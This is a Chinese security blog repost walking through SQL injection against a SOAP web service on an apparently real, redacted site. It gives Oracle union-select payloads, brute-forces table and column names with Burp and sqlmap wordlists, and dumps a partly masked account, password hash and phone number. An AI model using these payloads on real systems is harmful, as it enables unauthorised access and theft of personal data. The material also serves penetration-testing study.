发现Web Services存在注入,无法用sqlmap怎么办?

admin 2021年4月2日20:36:44评论68 views字数 2081阅读6分56秒阅读模式

如何对Web Services服务进行注入?

我们都知道sqlmap等一些工具不能对web services服务进行注入,因为web services使用的是SOAP协议,与我们提传统的http协议有些差异。手工+工具结合的方法完成这次的漏洞利用。下面我们一个案例演示一下,如何利用burp+sqlmap字典进行注入web services。

访问以下地址:

1
http://www.xxx.com/services

0x01扫描

将列表中的的WSDL地址依次丢到AWVS的Web Services Scanner中进行扫描,发现存在sql注入

0x02识别正常返回与异常返回

转到AWVS中的Web Services Editor中import刚才扫描的

正常返回(有数据)

正常返回(无数据)

异常返回

0x03判断数据库类型

由于一般的jsp应用基本都使用oracle数据库,我们优先判断是否是oracle数据库!

注入语句:

1
2
3
-1' or chr(123)||chr(123)=chr(123)||chr(123) -- 
-1' or (select count (*) from user_tables)>0 --
-1' or (select count (*) from dual)>0 --

发现他们都返回正常,说明为oracle数据库

0x04判断字段个数

使用 order by num语句来判断字段的个数。

根据以下注入语句的结果,可知字段个数为25

1
2
-1' or order by 25 --   /*返回正常*/
-1' or order by 26 -- /*返回异常*/

0x05确定每个字段类型

由于我们此时不知道每个字段的类型,所以先用null来代替。故注入语句构造如下:

1
-1' union select null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null from user_tables --

判断方法如下:

1
2
-1' union select 1,null,null,... from user_tables -- /*返回正常,说明该字段为数字型*/
-1' union select '1',null,null,... from user_tables -- /*返回正常,说明该字段为字符型*/

使用以上方法测试每个字段,发现它们都是字符型

1
-1' union select '1','2','3','4','5','6','7','8','9','10','11','12','13','14','15','16','17','18','19','20','21','22','23','24','25' from user_tables --

0x06爆破表名

由于这样的格式我们无法使用sqlmap进行注入。

思路:使用burp+sqlmap的tables字典,对下面语句的user_tables表名进行爆破。

设置AWVS的代理为burp suite的本机代理

将数据包从AWVS的Web Servives Editor里送入burp suite的Intruder中

选择sqlmap的txt目录下的表字典common-tables.txt,进行爆破。

爆破表名结果

0x07爆破字段名

爆破字段名,思路入爆破表名一致。语句是

1
-1' union select columns,'2','3','4','5','6','7','8','9','10','11','12','13','14','15','16','17','18','19','20','21','22','23','24','25' from  tbl_user --

注意:tbl_user为上一步骤爆破发现的表名,colums为使用burp加载sqlmap字段字典common-columns.txt进行爆破的地方。

设置过程与爆破表名类似不在细说,爆破结果结果如图所示。

0x08导出账号密码

综上最终注入语句为:

1
-1' union select user,password,mobile,'4','5','6','7','8','9','10','11','12','13','14','15','16','17','18','19','20','21','22','23','24','25' from  tbl_user --

1
2
3
账号:DT*****AP 
密码:e10adc3949ba59abbe56e057f20f883e
电话:139*****887

参考文章

文章来源于gv7.me:发现Web Services存在注入,无法用sqlmap怎么办?

相关推荐: 那些值得我们去研究的工具

当下网络安全的工具层出不穷,质量参差不齐。大没必要到处收集。那些经得住时间考验的工具都是流传的经典。把它们用熟了,自然以一当百。它们当中的一些开源的,最好去阅读一下源码。那些设计,那些编码都体现着hack编程精华。吾等自当研习工具中的一招一式! firefox…

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2021年4月2日20:36:44
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   发现Web Services存在注入,无法用sqlmap怎么办?https://cn-sec.com/archives/317938.html

发表评论

匿名网友 填写信息